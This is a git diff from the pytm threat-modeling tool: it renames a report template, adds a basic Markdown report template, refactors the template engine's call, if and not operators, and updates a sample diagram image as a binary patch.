   --exclude EXCLUDE    specify threat IDs to be ignored
   --seq                output sequential diagram
   --list               list all available threats
@@ -196,7 +196,7 @@ The diagrams and findings can be included in the template to create a final repo
 
 ```bash
 
-tm.py --report docs/template.md | pandoc -f markdown -t html > report.html
+tm.py --report docs/basic_template.md | pandoc -f markdown -t html > report.html
 
 ```
 The templating format used in the report template is very simple:
diff --git a/docs/template.md b/docs/advanced_template.md
similarity index 96%
rename from docs/template.md
rename to docs/advanced_template.md
index 9054e8c6..9d1297df 100644
--- a/docs/template.md
+++ b/docs/advanced_template.md
@@ -63,8 +63,7 @@ Name|{{item.name}}
 |:----|:----|
 Description|{{item.description}}|
 In Scope|{{item.inScope}}|
-Immediate Parent|{{item:call:getParentName}}{{item.parents:not:Primary Boundary}}|
-All Parents|{{item.parents:call:{{{{item.name}}}}, }}|
+Parent|{{item:call:getParentName}}{{item.parents:not:N/A, primary boundary}}|
 Classification|{{item.maxClassification}}|
 Finding Count|{{item:call:getFindingCount}}|
 
diff --git a/docs/basic_template.md b/docs/basic_template.md
new file mode 100644
index 00000000..b89635d8
--- /dev/null
+++ b/docs/basic_template.md
@@ -0,0 +1,56 @@
+<link href="docs/Stylesheet.css" rel="stylesheet"></link>
+
+## System Description
+&nbsp;
+
+{tm.description}
+
+&nbsp;
+
+## Dataflow Diagram - Level 0 DFD
+
+![](sample.png)
+
+&nbsp;
+
+## Dataflows
+&nbsp;
+
+Name|From|To |Data|Protocol|Port
+|:----:|:----:|:---:|:----:|:--------:|:----:|
+{dataflows:repeat:|{{item.name}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}|
+}
+
+## Data Dictionary
+&nbsp;
+
+Name|Description|Classification
+|:----:|:--------:|:----:|
+{data:repeat:|{{item.name}}|{{item.description}}|{{item.classification.name}}|
+}
+
+&nbsp;
+
+## Potential Threats
+
+&nbsp;
+&nbsp;
+
+|{findings:repeat:
+<details>
+  <summary>   {{item.threat_id}}   --   {{item.description}}</summary>
+  <h6> Targeted Element </h6>
+  <p> {{item.target}} </p>
+  <h6> Severity </h6>
+  <p>{{item.severity}}</p>
+  <h6>Example Instances</h6>
+  <p>{{item.example}}</p>
+  <h6>Mitigations</h6>
+  <p>{{item.mitigations}}</p>
+  <h6>References</h6>
+  <p>{{item.references}}</p>
+  &nbsp;
+  &nbsp;
+  &emsp;
+</details>
+}|
diff --git a/pytm/template_engine.py b/pytm/template_engine.py
index 6e5d7cef..aea40cdb 100644
--- a/pytm/template_engine.py
+++ b/pytm/template_engine.py
@@ -9,6 +9,7 @@ class SuperFormatter(string.Formatter):
     """World's simplest Template engine."""
 
     def format_field(self, value, spec):
+
         spec_parts = spec.split(":")
         if spec.startswith("repeat"):
            # Example usage, format, count of spec_parts, exampple format
@@ -19,63 +20,55 @@ def format_field(self, value, spec):
                 value = value.items()
             return "".join([self.format(template, item=item) for item in value])
 
-        elif spec.startswith("call"):
-           # Example usage, format, count of spec_parts, exampple format
-           # methood:call                     1          {item:call:getParentName}
-           # methood:call:template            2          {item.parents:call:{{item.name}}, }
-           # object:call:method_name          2          {item:call:getFindingCount}
-           # object:call:method_name:template 3          {item:call:getNamesOfParents:
-           #                                             **{{item}}**
-           #                                             }
-
-            if (hasattr(value, "__call__")):
+        elif spec.startswith("call:") and hasattr(value, "__call__"):
+           # Example usage, format, exampple format
+           # methood:call                                {item:call:getParentName}
+           # methood:call:template                       {item.parents:call:{{item.name}}, }
+            result = value()
 
-                result = value()
-                if type(result) is list:
-                    template = spec.partition(":")[-1]
-                    return "".join([self.format(template, item=item) for item in result])
+            if type(result) is list:
+                template = spec.partition(":")[-1]
+                return "".join([self.format(template, item=item) for item in result])
 
-                return result
+            return result
 
-            else:
-
-                method_name = spec_parts[1]
-                template = spec_parts[-1]
+        elif spec.startswith("call:"):
+           # Example usage, format, exampple format
+           # object:call:method_name                     {item:call:getFindingCount}
+           # object:call:method_name:template            {item:call:getNamesOfParents:
+           #                                             **{{item}}**
+           #                                             }
 
-                result = self.call_util_method(method_name, value)
+            method_name = spec_parts[1]
+            template = spec.partition(":")[-1]
 
-                if type(result) is list:
-                    return "".join([self.format(template, item=item) for item in result])
+            result = self.call_util_method(method_name, value)
 
-                return result
+            if type(result) is list:
+                return "".join([self.format(template, item=item) for item in result])
 
-            return "ERROR using call operator"
+            return result
 
         elif (spec.startswith("if") or spec.startswith("not")):
-           # Example usage, format, count of spec_parts, exampple format
-           # object.boolean:if:template       2       {item.isResponse:if:True}
-           # method:if:method_name:template   3       {item.parents:if:Has a parent}
-           # object:if:method_name:template   3       {item:if:getNamesOfParents:
-           #                                          **{{item}}**
-           #                                          }
-           # object.boolean:not:template       2       {item.isResponse:not:False}
-           # method:not:method_name:template   3       {item.parents:not:Does not have a parents}
-           # object:not:method_name:template   3       {item:not:getNamesOfParents:
-           #                                          **{{item}}**
-           #                                          }
-
+           # Example usage, format, exampple format
+           # object.bool:if:template                     {item.inScope:if:<p>Is in scope.</p>}
+           # object:if:template                          {item.findings:if:<p>Has Findings</p>}
+           # object.method:if:template                   {item.parents:if:<p>Has Parents</p>}
+           #
+           # object.bool:not:template                     {item.inScope:not:<p>Is not in scope.</p>}
+           # object:not:template                          {item.findings:not:<p>Has No Findings</p>}
+           # object.method:not:template                   {item.parents:not:<p>Has No Parents</p>}
+ 
+            template = spec.partition(":")[-1]
             if (hasattr(value, "__call__")):
                 result = value()
-            elif(len(spec_parts) == 3):
-                method_name = spec_parts[1]
-                result = self.call_util_method(method_name, value)
             else:
                 result = value
 
             if (spec.startswith("if")):
-                return (result and spec_parts[-1]) or ""
+                return (result and template or "")
             else: 
-                return (not result and spec_parts[-1]) or ""
+                return (not result and template or "")
 
         else:
             return super(SuperFormatter, self).format_field(value, spec)
diff --git a/sample.png b/sample.png
index de5fe502b23349ea1ca25b0543fcd92ea411fc5e..dc7d815f824b1c4d3312547179b791e8cd4bf38a 100644
GIT binary patch
literal 60312
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
